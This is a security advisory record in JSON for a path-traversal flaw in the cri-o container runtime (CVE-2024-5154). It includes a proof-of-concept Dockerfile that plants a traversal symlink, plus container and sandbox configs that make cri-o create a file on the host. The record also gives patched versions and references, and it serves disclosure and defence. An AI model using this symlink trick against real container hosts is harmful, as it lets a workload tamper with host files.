CVE-2024-5154: Github.com/cri o/cri o Malicious Container Creates Symlink "mtab" Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j9hf-98c3-wrm8",
  "modified" : "2025-06-27T22:08:30Z",
  "published" : "2024-06-04T18:12:31Z",
  "aliases" : [ "CVE-2024-5154" ],
  "summary" : "malicious container creates symlink \"mtab\" on the host External",
  "details" : "### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n  \"metadata\": {\n      \"name\": \"busybox\"\n  },\n  \"image\":{\n      \"image\": \"localhost/test\"\n  },\n  \"command\": [\n      \"/bin/true\"\n  ],\n  \"linux\": {\n  }\n}\n\n\n```\nand this sandbox config  \n```\n{\n  \"metadata\": {\n    \"name\": \"test-sandbox\",\n    \"namespace\": \"default\",\n    \"attempt\": 1,\n    \"uid\": \"edishd83djaideaduwk28bcsb\"\n  },\n  \"linux\": {\n    \"security_context\": {\n      \"namespace_options\": {\n        \"network\": 2\n      }\n    }\n  }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cri-o/cri-o"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.28.6"
      }, {
        "fixed" : "1.28.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cri-o/cri-o"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.29.4"
      }, {
        "fixed" : "1.29.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cri-o/cri-o"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.30.0"
      }, {
        "fixed" : "1.30.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-5154"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:10818"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:3676"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:3700"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:4008"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:4159"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2024:4486"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2024-5154"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2280190"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cri-o/cri-o"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2024-2919"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-668" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-04T18:12:31Z",
    "nvd_published_at" : "2024-06-12T09:15:19Z"
  }
}